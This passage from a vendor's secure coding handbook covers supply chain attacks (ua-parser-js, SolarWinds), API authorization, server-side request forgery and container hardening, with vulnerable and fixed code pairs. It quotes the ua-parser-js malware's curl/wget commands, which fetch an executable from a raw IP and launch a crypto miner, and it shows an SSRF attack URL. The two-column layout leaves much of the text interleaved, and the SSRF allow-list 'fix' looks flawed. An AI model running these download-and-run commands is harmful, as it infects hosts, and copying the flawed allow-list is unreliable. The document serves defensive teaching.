the lead contributor’s account to introduce malicious code similar to this example: respond to new CVEs. On the other hand, there is an assumption that the libraries
themselves are updated and maintained by trustworthy actors. This assumption of
Curl http: //159.123.456.789/download/jsmaliciousextension.exe -o jsma- trust is no longer a viable option in secure application development.
liciousextension.exe
Again, it is critical to use a quality SCA solution that does not just report on published
if not exist jsmaliciousextension.exe (
CVEs but proactively scans open-source repositories to find and alert you to sources
wget http: //159.123.456.789/download/jsmaliciousextension.exe -o
of risk. When the ua-parser-js malicious code was inserted, Veracode SCA detected it
jsmaliciousextension.exe
quickly and alerted customers using a vulnerable version to update immediately.
)

If %count_1% EQU 0 (start /B .\jsmaliciousextension.exe -o pool.minex-
mr.com:443…)

The malicious code downloads the jsmaliciousextension.exe payload which installs an


XMRig crypto miner (as well as a password stealer) and then runs the crypto miner on
affected host systems.

THE SECURE CODING HANDBOOK | VERACODE 22


SolarWinds: State-Sponsored Hacking in the Software Supply Chain

Vulnerable Dependencies Secure Dependencies

In 2020, Texas-based IT company SolarWinds’ Orion Software suffered a cyberattack The SolarWinds attack shone a light on pernicious vulnerabilities in modern applications.
suspected to be carried out by state-sponsored hackers. Orion helps customers manage It revealed the software development lifecycle and build systems as targets for attack.
their network traffic, performance, logging, and other IT resources. Their customer The difficulty of detection shifted security mindsets to assume attacks have already
list includes major corporations and government departments like the Department of happened. And it exposed the software supply chain as a ripe avenue for attackers.
Homeland Security and Treasury Department. The SolarWinds hack was a sophisticated
As a developer, it is important to recognize the risk of supply chain attacks and your role
multi-tier supply-chain attack targeting those downstream customers.
to both prevent downstream attacks and mitigate risk of upstream ingress by coding to
First, attackers exploited a vulnerable server to infiltrate SolarWinds and gain an the principle of least privilege.
initial ingress point for remote code execution. They used this ingress point to execute
Like open-source dependencies, applications in your software supply chain that seem
subsequent attacks eventually gaining access to SolarWinds’ build server. With this
secure today may not be tomorrow. It is critical to maintain an inventory and SBOM to
access, they introduced malicious code into the Orion Software during the build
quickly triage and respond to cybersecurity events.
process. This malicious code opened a backdoor for attackers to access the sensitive
data of victims — in this case, Orion’s customers who were infected with the malicious Supply chain attacks also make the best practices of secure coding like access control
code when they downloaded software updates. For nine months from March to and cryptography even more important. As you create software, adding layers of securi-
December 2020, the attack went undetected, and attackers had access to private files ty, minimizing trust from user inputs, and properly handling sensitive data are critical to
within as many as 18,000 SolarWinds corporate and government customers’ networks. performing your role in the secure software supply chain.

The SolarWinds attack Illustrates the domino effect of an initial vulnerability not only
affecting one organization, but also the entire supply chain. It also demonstrates the
scale and complexity of cyberattacks; Microsoft Corp President, Brad Smith, called it:
“the largest and most sophisticated attack the world has ever seen.” As defenses get
better, adversaries find more complex means of ingress. Thousands of developers
are suspected of having worked on the SolarWinds attack exploring and exploiting
weaknesses in the software supply chain to find avenues of ingress, access sensitive
information, and lay the foundations for future attacks.

THE SECURE CODING HANDBOOK | VERACODE 23


Top 3 Tips
for Selecting & Maintaining
Secure Open-Source Components

1 Use approved open-source libraries and regularly


check for security flaws. Keep frameworks and libraries
up to date. Maintain visibility into your software supply
chain with a Software Bill of Materials to identify and
avoid vulnerabilities across open-source, commercial,
and custom-built components.

2 Leverage a Software Composition Analysis solution with


a premium database to identify open-source vulnerabilities
beyond those published in the NVD.

3 Practice Defense-in-Depth. Use best practices in the


code you write to mitigate attacks that originate in supply
chain vulnerabilities, minimize sensitive data exposure,
and prevent escalation.

THE SECURE CODING HANDBOOK | VERACODE 24


4
Secure Cloud-Native Ecosystems & APIs
Just as open source enables faster development of more complex Cryptojacking is another example where attackers exploit
applications, so too have cloud-native architectures enabled misconfigured cloud servers to steal computing power and run
unprecedented speed, scale, and functionality. However — like cryptomining scripts costing over $5K/hour. In 2018, attackers
open-source dependencies — containers, microservices, cloud found a Tesla Kubernetes console running without a password.
deployments, and APIs introduce new security risks and attack This cluster included a container with credentials exposing Tesla’s
vectors. In fact, APIs have rapidly become the most common broader AWS environment which attackers exploited to deploy
attack vector earning their own OWASP API Security Top 10 list. cryptomining scripts. In other instances, attackers offer malicious
And server-side request forgery (SSRF) was the top concern in docker images with backdoors for download. When users download
OWASP’s Top 10 community survey. these pre-configured images in the hopes of saving time and money,
they unwittingly invite attack. In one instance, malicious images
But how do attackers leverage weaknesses in APIs and cloud-native offered on Docker Hub were downloaded over 5 million times.
applications? It should be no surprise that once again it comes down
to unprotected data and spurious inputs which, left unvalidated, can APIs and cloud-native architectures are key enabling technologies
manipulate your application to diverge from intended functionality. essential to modern application development. But when their
adoption outpaces the knowledge of how to leverage them securely,
For example, APIs often have hardcoded keys, tokens, and other it creates an environment ripe for attackers. In the following lessons,
secrets making the job of attackers far too easy. These same APIs you will learn about common security issues associated with APIs
often lack proper object-level authorization. These attacks start and cloud-native applications, so you can leverage the power of
with an authenticated user session who is then able to manipulate these technologies without adding undue risk.
API calls to gain unauthorized access. Let’s say your bank’s mobile
application uses an API GET request to access account information
but doesn’t verify the API call is coming from an authorized source.
This means an unauthorized user may only need your account
number to transfer money.

THE SECURE CODING HANDBOOK | VERACODE 25


API Security: Authentication and Authorization

Vulnerable Code Secure Code

Sometimes, APIs are vulnerable by design (recall lesson one). For example, in 2021 a When creating and working with APIs, it is important to treat them as the top attack
hacker used LinkedIn’s public API to download the data of over 90% of users. Because vector they are. In the design phase, this means considering how users could manipulate
the hacker didn’t break functionality or access non-public data, LinkedIn spun this as APIs to alter functionality or gain unintended access to data. As cybersecurity researcher
“data aggregation” rather than a data breach. Similarly, following the January 6, 2021 Dr. Katie Paxton-Fear puts it, sometimes API are “working as intended but with
United States Capitol attack, hackers used social media app Parler’s public API to unintended security issues.”
scrape users’ profiles and identify participants.
Other times, as with any code you write, you need to build in authorization checks to vali-
Other times, APIs expose information to malicious actors by failing to require object-level date a user is both authenticated and authorized to request an action on a target object.
authorization. This is similar to broken access control covered in lesson 2 but applied to To fix the example broken object-level authorization, modify the API adding an isAutho-
APIs. Take the following example which uses an API to retrieve users’ account information: rized function that takes the userId string to first check if a user is authorized to access
the account before returning account information.
public async Task<BankAccount> GetAccountByIdUnsecure(string accountId)
{ public async Task<BankAccount> GetAccountByIdSecure(string use-
var account = await _db.Accounts.FirstOrDefaultAsync(a => rId, string accountId)
a.UnsecureId == accountId); {
var isAuthorized = await _authorizationService.Check(user-
return account; Id, accountId, BankingAccountUseCase.READ);
}
if (!isAuthorized)

As coded, this API takes accountId as an input but does not have a verification step to return null;

first check that a user is authorized to view the account information. This highlights
the critical difference between authentication and authorization. An authenticated but var account = _db.Accounts.FirstOrDefault(a => a.UserId ==

malicious actor (i.e. an attacker who creates a legitimate account for malicious purposes) userId && a.UnsecureId == accountId);

could enter any accountId argument and retrieve data they are not authorized to view.
return account;
APIs can also expose your applications to misconfiguration, injection, and data leakage — }
by their nature they expose application logic and are often used to retrieve sensitive
information. Lack of rate limiting can also lead to brute force and denial of service
With the proliferat ion of APIs and prevalence of attacks, the importance of API security
attacks (recall the bot example and improper control of interaction frequency).
cannot be understated. In response, the OWASP organization has created a dedicated
OWASP API Security Top 10 list. Reading through that list, hopefully by now you will
recognize themes we have already covered. Consistent with the hacking pattern left
open to untrusted inputs, APIs are another means of ingress for attackers to inject
commands, manipulate functionality, and extract data.

THE SECURE CODING HANDBOOK | VERACODE 26


Server-Side Request Forgery

Vulnerable Code Secure Code

In 2019 a former AWS employee exploited a misconfiguration in Capital One to There are controls that may have protected and detected this attack earlier, but the
download personal information (including social security numbers and dates of birth) best approach is to prevent it in the first place by, again, validating and parameterizing
of over 100 million customers. inputs. In this example, you might create an allow list that only allow URLs that match
your S3 bucket.
Capital One had a feature on their website that allowed users to upload files. Uploaded
files were stored in an S3 bucket, the server made an https request to the S3 bucket and Public String documentPreview(HttpServletRequest httpRequest,
returned the file via a URL parameter (for example: https: //www.capitalone.com/per- Model model) {
sonalize/url=https:// s3.bucket.amazonaws.com/fileupload/myfile). On the backend, the String queryStringParams = httpRequest.getQuerySTring();
code looked something like: String queryString = StringUtils.substring(queryStringParams, “url=”);
String url = StringUtils.substring(queryString, “.com/”);
Public String documentPreview(HttpServletRequest httpReqeust, Model
model) { if(checkAllowList(url) != false) {
try {
String queryStringParams = httpReqeust.getQueryString(); DownloadFileResponse downloadFileResponse = storageService.load(queryS-
Sting queryString = StringUtils.substringAfter(queryString- tring);
Params, “url=“); model.addAttribute(“image”, “new”);

Try {
DownloadFileResponse downloadFileResponse – storageService. public static Boolean checkAllowList(String taintData) {
load(queryString); String[] allowStrings = new String[] {“https://s3.bucket.aws”,”https://
model.addAttribute(“image”, new); capitalone.com”,”..”};
List<String> allowList = Arrays.asList(allowStrings);
}
String safeData = null;
} Boolean validUrl = false;

if(allowList.contains(taintData)){
The value of the “url=” parameter comes from the queryString which is then passed to safeData = allowList.get(allowList.indexOf(taintData));
the storageService.load method. This load method invokes Java’s HttpGet() function. if(taintData.startsWith(safeData) == true) {
However, there is no validation check on the URL parameter. Knowing this, a hacker validUrl = true;
can invoke a URL requesting sensitive information like: ht tps: //www.capitalone.com/ }
myaccount/personalize/url=ht tps://192.0.2.0/sensitive-information. }
return validUrl;
Since the server is now essentially making a request of itself, the hacker successfully
}
retrieves sensitive information. The Capital One hacker used this vulnerability to first
get the credentials of a user with web application firewall permissions and then used The application now checks the url= parameter against a defined allow list preventing an
those credentials to submit “list” and “sync” requests to download personal information attacker from invoking malicious server-side requests. If you want to dive deeper into this
data from S3 buckets. topic, check out the OWASP SSRF Prevention Cheat Sheet.

THE SECURE CODING HANDBOOK | VERACODE 27


Container Security

Vulnerable Container Secure Container

Containers, Infrastructure as Code, and similar technologies make fast and When securing modern applications, build upon what you have already learned. Cloud
flexible deployments possible. They also introduce new attack vectors and security deployments, containers, and microservices do not necessarily introduce new attack
concerns. Misconfigured containers create opportunities for attackers to extract paradigms but rather expand the paradigm into new attack vectors. It is important to
data, open backdoors, gain root access, perform remote code execution, and hijack recognize that containers do not completely isolate or mitigate security issues. Follow
computing resources. best practices to minimize vulnerabilities in the base image, build container security
and scanning into your development lifecycle, and follow the principles of least privilege
As more and more elements of software are defined through code, developers
when you are configuring and deploying.
find themselves not only responsible for securing the application layer but infrastructure
and network layers as well. Below is an example of a misconfigured Dockerfile To secure the Dockerfile, we will remediate the backdoor vulnerability by updating the
with a vulnerable open-source component leading to the installation of a backdoor mailparser dependency to a non-vulnerable version. We will also set the last user as a
in the container. low-privilege user and build the container with minimal permission to avoid escalation.

FROM node FROM node:19.3.0-alpine3.17


USER root USER root
WORKDIR /usr/app WORKDIR /usr/app
RUN apk update RUN apk update
RUN npm install express RUN npm install express@^4.18
RUN npm install mailparser@2.2.2 RUN npm install mailparser@2.3.0
COPY appfile COPY appfile
RUN adduser -S unprivileged_user RUN adduser -S unprivileged_user
USER unprivileged_user
$ docker build -t my-app . --privileged
$ docker build -t my-app .
There are two key weaknesses in this example. First, the container includes a vulnerable
component. Second, the docker image is built with --privileged meaning an attacker With the vulnerable component updated, an attacker cannot perform remote code
can exit the container and escalate the attack. An attack could identify the application execution. And if they do successfully exploit a vulnerability, running without privilege
includes a vulnerable component, exploit that component — say to launch a shell and and as read-only will help isolate the attack to the container. We are also following best
execute a wget command to download and run a cryptominer — and then try to escape practice using a pinned image version.
the container and escalate the attack to the cluster.
Consistent with the other lessons, employ a hacker mindset and think about containers
as another opportunity for ingress. Consider how you can limit exposure and layer
protection with Defense in Depth practices.

THE SECURE CODING HANDBOOK | VERACODE 28


Top 3 Tips
for Securing Cloud-Native Applications

1 Secure cloud-native applications from forged server requests.


Sanitize and validate user inputs. When possible, only accept requests
to/from whitelisted applications, do not send raw responses to clients,
and enforce URL schemas.

2 Secure APIs. Inventory your API endpoints and watch out for shadow
APIs. Authenticate and authorize API calls. Just because a user is
authenticated does not mean they are authorized to execute a call.

3 Properly configure containers and maintain images. Do not run


containers as root or privileged unless necessary and avoid exposing
vulnerable ports to the internet. If possible, use multi-stage distroless
builds and run as read-only to harden container security.

THE SECURE CODING HANDBOOK | VERACODE 29


Conclusion
There’s one piece of history we saved for the end: We’ve learned how weaknesses in design, code,
the origins of the term “hacker.” In the 1950s and supply chain dependencies, and cloud-native
60s, students at MIT started using the term hacker elements create opportunities for exploitation.
to describe peers obsessed with understanding We’ve learned how real-world exploits work.
and mastering complex systems and machines — We’ve learned best practices for preventing
hacking them. exploitation and building security into applications.
The thing is: we have only scratched the surface.
We saved this for the conclusion so we could
dramatically hit you with a plot twist: if you’re By practicing secure coding daily as you write
obsessed with mastering and understanding and build applications, you’ll quickly develop a
complex systems (which you must if you’ve made habit of critiquing applications for flaws that invite
it all the way to the conclusion), you’re technically unvalidated and malicious inputs. You’ll develop
a hacker. And now you can ‘out-hack’ those with the skillset to prevent those flaws and become a
malicious intent powering their obsession. secure coding champion who delivers better, more
secure applications.

THE SECURE CODING HANDBOOK | VERACODE 30


Want to build your
secure coding skills
for free?

Veracode Security Labs Community Edition is our forever-free


option for developers who want an experiential way to gain
knowledge about the latest security topics. Developers can get
real-world practice with vulnerability scenarios in modern web
applications by providing containerized apps they can exploit
and patch right from their browser.

Click here to create your free account now.

Veracode is a leading AppSec partner for creating secure software, reducing


Copyright © Veracode, Inc. All rights reserved. Veracode is a registered trademark of Veracode, Inc. in the
the risk of security breach, and increasing security and development teams’
United States and may be registered in certain other jurisdictions. All other product names, brands or logos
productivity. As a result, companies using Veracode can move their business,
belong to their respective holders. All other trademarks cited herein are property of their respective owners.
and the world, forward. With its combination of process automation,
integrations, speed, and responsiveness, Veracode helps companies get accurate
and reliable results to focus their efforts on fixing, not just finding, potential
Copyright © 2023 Veracode, Inc. All rights reserved. All other brand names,
vulnerabilities.
product names, or trademarks belong to their respective holders.

THE SECURE CODING HANDBOOK | VERACODE


Learn more at www.veracode.com, on the Veracode blog and on Twitter.

You might also like